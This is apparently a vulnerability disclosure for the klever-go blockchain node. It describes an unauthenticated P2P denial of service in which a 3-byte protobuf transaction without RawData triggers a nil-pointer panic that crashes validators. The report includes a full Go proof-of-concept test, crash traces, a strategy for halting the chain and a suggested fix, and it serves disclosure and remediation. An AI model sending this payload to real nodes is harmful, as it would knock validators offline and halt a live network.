Summary Every transaction gossiped on the klever-go P2P network is decoded and validated synchronously inside the libp2p pubsub topic-validator callback. The validator "txVersionChecker.CheckTxVersion" dereferences "tx.RawData.Version" with no nil check. A protobuf "Transaction" whose embedded "RawData" sub-message is omitted decodes to "RawData == nil", so validating it triggers a nil-pointer panic. The libp2p pubsub callback, the underlying go-libp2p-pubsub validation worker, and klever's own "network/p2p" layer install no "recover()", so the panic propagates and crashes the entire node process. The attacker payload is a 3-byte protobuf message; no validator key, stake, funds, or on-chain account is required. Aimed at enough of the BLS validator set, repeated delivery halts block production (chain halt). Affected component - Root cause: "core/versioning/txVersionChecker.go:22" - Reached via: "core/process/transaction/interceptedTransaction.go:203" (integrity) and ":154" (CheckValidity) - Production tx-topic path: "core/process/interceptors/multiDataInterceptor.go:171" and ":223" - Unprotected caller: "network/p2p/libp2p/netMessenger.go" "pubsubCallback" (no recover) - Topic wiring: "core/process/factory/interceptorscontainer/baseInterceptorsContainerFactory.go" ("createOneTxInterceptor") Details Synchronous validation path, no recovery at any frame: libp2p pubsubCallback network/p2p/libp2p/netMessenger.go (no recover) -> MultiDataInterceptor.ProcessReceivedMessage core/process/interceptors/multiDataInterceptor.go:171 -> interceptedData(...) core/process/interceptors/multiDataInterceptor.go:223 -> InterceptedTransaction.CheckValidity core/process/transaction/interceptedTransaction.go:154 -> integrity() core/process/transaction/interceptedTransaction.go:203 -> txVersionChecker.CheckTxVersion(tx) core/versioning/txVersionChecker.go:22 <-- nil deref Root cause ("core/versioning/txVersionChecker.go"): func (tvc *txVersionChecker) CheckTxVersion(tx *transaction.Transaction) error { if tx.RawData.Version < tvc.minTxVersion { // tx.RawData is nil -> panic return process.ErrInvalidTransactionVersion } return nil } "integrity()" calls "CheckTxVersion" as its very first statement, before any "RawData" nil-check, and "CheckValidity()" runs before the whitelist / originator- election gate in the interceptor, so node-role and whitelist restrictions do not protect this path. Preconditions - Attacker runs an ordinary libp2p peer reachable to the target via normal peering / kad-dht discovery on the "transactions" gossip topic. - Production runs with "withMessageSigning = true", which only requires the gossip message to be signed by the attacker's OWN libp2p peer key (a self-generated identity; NOT a validator key, NOT funded, NOT authorized). - No special config or feature flag; the tx interceptor is built unconditionally and subscribes to "transactions" on every node. Impact - Deterministic, immediate crash of any targeted node (validator, sentry, or observer) from a single ~3-byte message. - Gossipsub validates before relaying, so the victim does not forward the crashing message; the attacker delivers it directly to each target (one tiny message/node). - With auto-restart (systemd), re-sending sustains the outage. - Directed at > 1/3 of the BLS validator set, this prevents consensus and halts the chain. - NOTE: the HTTP "POST /transaction/send" path is NOT crash-exploitable - the REST server uses "gin.Default()" (Recovery middleware) and returns HTTP 500. The exploitable vector is the P2P interceptor. Exploit cost / attack complexity - Cost: negligible (one self-signed libp2p peer; 3-byte payload; no gas/capital). - Complexity: LOW. Unauthenticated, remote, deterministic. PoC-Source Scenario - Build the malicious transaction as it appears on the wire: a protobuf "Transaction" with "RawData" omitted (plus a throwaway "Signature" so the batch entry looks like a real tx). With the production proto marshalizer this encodes to 3 bytes ("12 01 78") and round-trips back to "RawData == nil". - Feed it through the REAL production interceptors. The "transactions" gossip topic is served by a "MultiDataInterceptor" ("baseInterceptorsContainerFactory.go", "createOneTxInterceptor"); the test wraps the tx in a "Batch" exactly like a bulk-tx gossip message and calls "ProcessReceivedMessage", which is precisely what the panic-free libp2p "pubsubCallback" invokes in production. A second test drives the generic "SingleDataInterceptor" to show the bug is in the shared validation chain. - The data factory is a faithful copy of the production "interceptedTxDataFactory.Create": it builds a genuine "*InterceptedTransaction". No validation behavior is stubbed; only leaf crypto/marshal helpers use the repo's own in-tree mocks. The panic occurs on the first line of "integrity()", upstream of any mock. How to run 1. "git clone https://github.com/klever-io/klever-go && cd klever-go" (Go toolchain matching go.mod "go 1.25.7"; verified locally on go1.26.3.) 2. Save the source below as "core/process/interceptors/poc_nil_rawdata_dos_test.go". 3. Run either (separately - the first panic aborts the test binary): - Production tx-topic path: "go test ./core/process/interceptors/ -run TestPoC_NilRawData_MultiDataInterceptor -v" - Generic path: "go test ./core/process/interceptors/ -run TestPoC_NilRawData_SingleDataInterceptor -v" - Dependencies: none beyond the repo's own go.mod (uses in-repo mocks only). Full PoC source ("poc_nil_rawdata_dos_test.go"): // Target component: klever-go P2P transaction interceptor (network availability) // core/process/transaction/interceptedTransaction.go // core/versioning/txVersionChecker.go:22 // Vulnerability type: Unauthenticated remote Denial-of-Service (nil-pointer panic / chain-wide node crash) // CWE-476 (NULL Pointer Dereference) reached from untrusted P2P input. // // Summary: // Every gossiped transaction is decoded and validated synchronously inside the // libp2p pubsub topic-validator callback // (network/p2p/libp2p/netMessenger.go -> pubsubCallback). That callback has NO // recover(). The validation chain is: // // (Multi|Single)DataInterceptor.ProcessReceivedMessage // -> InterceptedTransaction.CheckValidity // -> integrity() // -> txVersionChecker.CheckTxVersion(tx) // tx.RawData.Version <-- nil deref // // CheckTxVersion dereferences tx.RawData.Version with no nil guard. A protobuf // Transaction whose embedded RawData message is omitted unmarshals fine (RawData==nil), // so an unauthenticated peer can broadcast a few bytes that panic the validation // goroutine and crash the entire node process. Repeating it against the validator // set halts consensus. // // How to run: // 1) git clone https://github.com/klever-io/klever-go && cd klever-go // 2) cp <this file> core/process/interceptors/poc_nil_rawdata_dos_test.go // 3) go test ./core/process/interceptors/ -run TestPoC_NilRawData -v // // Expected output: // The test process aborts with: // panic: runtime error: invalid memory address or nil pointer dereference // ... core/versioning.(*txVersionChecker).CheckTxVersion ... txVersionChecker.go:22 // ... InterceptedTransaction.integrity ... -> CheckValidity // ... (Multi|Single)DataInterceptor.ProcessReceivedMessage // i.e. the crash originates from the interceptor's synchronous message-handling frame, // exactly where the panic-free libp2p pubsub callback would call it in production. // // Dependencies: none beyond the repo's own go.mod (uses in-repo mocks only). package interceptors_test import ( "testing" "github.com/klever-io/klever-go/common/mock" "github.com/klever-io/klever-go/core" "github.com/klever-io/klever-go/core/process" "github.com/klever-io/klever-go/core/process/interceptors" txproc "github.com/klever-io/klever-go/core/process/transaction" "github.com/klever-io/klever-go/core/throttler" "github.com/klever-io/klever-go/core/versioning" cryptoMock "github.com/klever-io/klever-go/crypto/mock" "github.com/klever-io/klever-go/data/batch" dataTransaction "github.com/klever-io/klever-go/data/transaction" ) // buildMaliciousTxBytes returns the proto wire-bytes of a Transaction whose RawData // field is omitted. This is the entire attacker payload. func buildMaliciousTxBytes(t testing.T) []byte { m := &mock.ProtoMarshalizerMock{} maliciousTx := &dataTransaction.Transaction{ / RawData: nil */ } buff, err := m.Marshal(maliciousTx) if err != nil { t.Fatalf("marshal malicious tx: %v", err) } return buff } // pocTxFactory is a faithful copy of the production interceptedTxDataFactory.Create: // it builds a genuine *InterceptedTransaction from the received bytes. No validation // behavior is stubbed; only leaf crypto/marshal helpers use the repo's standard mocks. type pocTxFactory struct{} func (pocTxFactory) Create(buff []byte) (process.InterceptedData, error) { m := &mock.ProtoMarshalizerMock{} return txproc.NewInterceptedTransaction(&txproc.InterceptedTransactionArgs{ TxBuff: buff, ProtoMarshalizer: m, SignMarshalizer: m, Hasher: mock.HasherMock{}, KeyGen: &cryptoMock.SingleSignKeyGenMock{}, Signer: &cryptoMock.SignerMock{SigSizeStub: func() int { return 64 }}, PubkeyConv: &mock.PubkeyConverterStub{LenCalled: func() int { return 32 }}, WhiteListerVerifiedTxs: &mock.WhiteListHandlerStub{}, ChainID: []byte("chainID"), TxSignHasher: mock.HasherMock{}, FeeHandler: &mock.FeeHandlerStub{ CheckValidityTxValuesCalled: func(tx process.TransactionWithFeeHandler) (*dataTransaction.CostResponse, error) { return &dataTransaction.CostResponse{}, nil }, }, TxVersionChecker: versioning.NewTxVersionChecker(0), ForkController: &mock.ForkControllerStub{}, }) } func (pocTxFactory) IsInterfaceNil() bool { return false } // TestPoC_NilRawData_MultiDataInterceptor exercises the EXACT production path for the // "transactions" gossip topic, which is served by a MultiDataInterceptor (see // core/process/factory/interceptorscontainer/baseInterceptorsContainerFactory.go, // func createOneTxInterceptor). func TestPoC_NilRawData_MultiDataInterceptor(t *testing.T) { protoMarsh := &mock.ProtoMarshalizerMock{} // Wrap the single malicious tx in a Batch, exactly like a bulk-tx gossip message. b := &batch.Batch{Data: [][]byte{buildMaliciousTxBytes(t)}} batchBytes, err := protoMarsh.Marshal(b) if err != nil { t.Fatalf("marshal batch: %v", err) } th, _ := throttler.NewNumGoRoutinesThrottler(5) mdi, err := interceptors.NewMultiDataInterceptor(interceptors.ArgMultiDataInterceptor{ Topic: "transactions", Marshalizer: protoMarsh, DataFactory: pocTxFactory{}, Processor: &mock.InterceptorProcessorStub{}, Throttler: th, AntifloodHandler: &mock.P2PAntifloodHandlerStub{}, WhiteListRequest: &mock.WhiteListHandlerStub{}, CurrentPeerID: core.PeerID("self"), }) if err != nil { t.Fatalf("build interceptor: %v", err) } msg := &mock.P2PMessageMock{ DataField: batchBytes, TopicField: "transactions", PeerField: core.PeerID("attacker"), } // In production this is called by the libp2p pubsub callback, which has no recover(). // The nil-pointer panic therefore propagates and crashes the node process. _ = mdi.ProcessReceivedMessage(msg, core.PeerID("attacker")) // Only reached if the bug is fixed (CheckTxVersion guards a nil RawData). t.Log("no panic: node survived -> NOT vulnerable") } // TestPoC_NilRawData_SingleDataInterceptor shows the same crash via the generic // single-item interceptor path, demonstrating the bug is in the shared validation // chain, not in one interceptor variant. func TestPoC_NilRawData_SingleDataInterceptor(t *testing.T) { th, _ := throttler.NewNumGoRoutinesThrottler(5) sdi, err := interceptors.NewSingleDataInterceptor(interceptors.ArgSingleDataInterceptor{ Topic: "transactions", DataFactory: pocTxFactory{}, Processor: &mock.InterceptorProcessorStub{}, Throttler: th, AntifloodHandler: &mock.P2PAntifloodHandlerStub{}, WhiteListRequest: &mock.WhiteListHandlerStub{}, CurrentPeerID: core.PeerID("self"), }) if err != nil { t.Fatalf("build interceptor: %v", err) } msg := &mock.P2PMessageMock{ DataField: buildMaliciousTxBytes(t), TopicField: "transactions", PeerField: core.PeerID("attacker"), } _ = sdi.ProcessReceivedMessage(msg, core.PeerID("attacker")) t.Log("no panic: node survived -> NOT vulnerable") } PoC-Results Result A - production "MultiDataInterceptor" (the "transactions" gossip topic): $ go test ./core/process/interceptors/ -run TestPoC_NilRawData_MultiDataInterceptor -v === RUN TestPoC_NilRawData_MultiDataInterceptor --- FAIL: TestPoC_NilRawData_MultiDataInterceptor (0.00s) panic: runtime error: invalid memory address or nil pointer dereference [recovered, repanicked] [signal SIGSEGV: segmentation violation code=0x1 addr=0x70 pc=0x7b7be4] goroutine 8 [running]: panic({0x888c00?, 0xd54d60?}) /usr/lib/go-1.26/src/runtime/panic.go:860 +0x13a github.com/klever-io/klever-go/core/versioning.(*txVersionChecker).CheckTxVersion(0x7?, 0x7?) .../core/versioning/txVersionChecker.go:22 +0x4 github.com/klever-io/klever-go/core/process/transaction.(*InterceptedTransaction).integrity(...) .../core/process/transaction/interceptedTransaction.go:203 +0x31 github.com/klever-io/klever-go/core/process/transaction.(*InterceptedTransaction).CheckValidity(...) .../core/process/transaction/interceptedTransaction.go:154 +0x13 github.com/klever-io/klever-go/core/process/interceptors.(*MultiDataInterceptor).interceptedData(...) .../core/process/interceptors/multiDataInterceptor.go:223 +0x9c github.com/klever-io/klever-go/core/process/interceptors.(*MultiDataInterceptor).ProcessReceivedMessage(...) .../core/process/interceptors/multiDataInterceptor.go:171 +0x7ca github.com/klever-io/klever-go/core/process/interceptors_test.TestPoC_NilRawData_MultiDataInterceptor(...) .../core/process/interceptors/poc_nil_rawdata_dos_test.go:135 +0x3ef FAIL github.com/klever-io/klever-go/core/process/interceptors 0.005s FAIL Result B - generic "SingleDataInterceptor" (same root cause via the shared chain): $ go test ./core/process/interceptors/ -run TestPoC_NilRawData_SingleDataInterceptor -v === RUN TestPoC_NilRawData_SingleDataInterceptor --- FAIL: TestPoC_NilRawData_SingleDataInterceptor (0.00s) panic: runtime error: invalid memory address or nil pointer dereference [recovered, repanicked] [signal SIGSEGV: segmentation violation code=0x1 addr=0x70 pc=0x7b7be4] goroutine 8 [running]: panic({0x888c00?, 0xd54d60?}) /usr/lib/go-1.26/src/runtime/panic.go:860 +0x13a github.com/klever-io/klever-go/core/versioning.(*txVersionChecker).CheckTxVersion(0x7?, 0x7?) .../core/versioning/txVersionChecker.go:22 +0x4 github.com/klever-io/klever-go/core/process/transaction.(*InterceptedTransaction).integrity(...) .../core/process/transaction/interceptedTransaction.go:203 +0x31 github.com/klever-io/klever-go/core/process/transaction.(*InterceptedTransaction).CheckValidity(...) .../core/process/transaction/interceptedTransaction.go:154 +0x13 github.com/klever-io/klever-go/core/process/interceptors.(*SingleDataInterceptor).ProcessReceivedMessage(...) .../core/process/interceptors/singleDataInterceptor.go:118 +0x12e github.com/klever-io/klever-go/core/process/interceptors_test.TestPoC_NilRawData_SingleDataInterceptor(...) .../core/process/interceptors/poc_nil_rawdata_dos_test.go:165 +0x2b1 FAIL github.com/klever-io/klever-go/core/process/interceptors 0.005s FAIL Interpretation - Both runs abort the process with SIGSEGV originating at "txVersionChecker.go:22" ("tx.RawData.Version"), reached through the real interceptor's synchronous "ProcessReceivedMessage" frame - the exact frame the recover-free libp2p pubsub callback executes in production. A recover()-less crash here = full node process exit. - Round-trip check (production "tools/marshal.ProtoMarshalizer"): the malicious tx is 3 bytes "12 01 78" and decodes to "RawData == nil", confirming the trigger is a valid, attacker-craftable wire message (not a malformed blob rejected earlier). Suggested fix Primary (root cause) - make "CheckTxVersion" nil-safe / reject "RawData == nil" early: func (tvc *txVersionChecker) CheckTxVersion(tx *transaction.Transaction) error { if tx == nil || tx.RawData == nil { return process.ErrInvalidTransactionVersion } if tx.RawData.Version < tvc.minTxVersion { return process.ErrInvalidTransactionVersion } return nil } Returning a sentinel error here is already handled by the interceptors (they blacklist peers that send wrong-version transactions). Defense-in-depth: - Wrap the synchronous body of "pubsubCallback" (and/or "ProcessReceivedMessage") in a "recover()" so a single malformed message can never abort the process. - Audit the other direct "inTx.tx.RawData.*" dereferences in "interceptedTransaction.go" (chainID/sender/contract/nonce/fee getters) for the same nil-input class. Duplicate check (vs published advisories) Checked against the 3 published advisories (GHSA-jc6w-wmfc-fh33 / CVE-2026-46403, GHSA-87m7-qffr-542v / CVE-2026-44697, GHSA-74m6-4hjp-7226). This is NOT a duplicate: different root cause (nil "RawData" deref vs gzip OOM / throttler accounting / VM read-only isolation); the advisory texts never mention "RawData", "CheckTxVersion", "txVersionChecker", or any nil/NULL deref. Those three advisories' fixes are already present in the reviewed tree, yet "txVersionChecker.go:22" remains unpatched. It is adjacent in impact class (P2P interceptor DoS) to 87m7 / 74m6, referenced here for context.